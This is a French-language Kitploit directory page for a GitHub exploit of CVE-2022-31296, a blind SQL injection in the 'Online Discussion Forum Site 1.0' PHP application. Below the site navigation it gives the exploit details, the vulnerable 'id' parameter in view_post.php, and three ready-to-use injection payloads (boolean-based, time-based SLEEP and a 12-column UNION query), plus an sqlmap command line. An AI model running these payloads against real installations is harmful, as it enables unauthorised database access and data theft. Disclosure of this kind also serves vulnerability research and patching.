Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

Répertoire d'outils

Catégories

Voir toutes les catégories

Loading categories

CVE-2022-31296 — Forum de discussion en ligne Site 1.0 - Injection SQL aveugle | Kitploit

Outils/

GitHub/bigzooooz/cve-2022-31296

Analyse des Vulnérabilités Exploitation Exploitation d'Applications Web Tests d'Intrusion

bigzooooz/cve-2022-31296

CVE-2022-31296

Forum de discussion en ligne Site 1.0 - Injection SQL aveugle

Voir le dépôt

1il y a 4 ans

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

CVE-2022-31296

Online Discussion Forum Site 1.0 - Blind SQL Injection

Titre de l'exploit: Online Discussion Forum Site 1.0 - Injection SQL aveugle

Date: 2022-06-13

CVE: CVE-2022-31296

Auteur de l'exploit: Abdulaziz Saad (@b4zb0z)

Site web du fournisseur: https://www.sourcecodester.com/

Lien du logiciel:

https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Version: 1.0

Testé sur: LAMP, Ubuntu

[#] Emplacement de la vulnérabilité: $_GET['id'] dans /odfs/posts/view_post.php:3

root@kitploit:~

Paramètre: id (GET)

root@kitploit:~

Type: boolean-based blind
Titre: AND boolean-based blind - clause WHERE ou HAVING
Payload: p=posts/view_post&id=1' AND 8036=8036 AND 'zhKq'='zhKq

root@kitploit:~

Type: time-based blind

root@kitploit:~

Titre: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=posts/view_post&id=1' AND (SELECT 4593 FROM (SELECT(SLEEP(5)))Tmcg) AND 'qyDN'='qyDN

root@kitploit:~

Type: UNION query

root@kitploit:~

Titre: Generic UNION query (NULL) - 12 columns
Payload: p=posts/view_post&id=-5399' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x5a7272534b4b78734a53464e62454b52617876484e6670665570454454526a6963626f506e45776e,0x717a707671)-- -

[#] Exploitation en utilisant SQLMAP: sqlmap -u "http://localhost/odfs/?p=posts/view_post&id=1" --dbms=mysql

Télécharger l’outil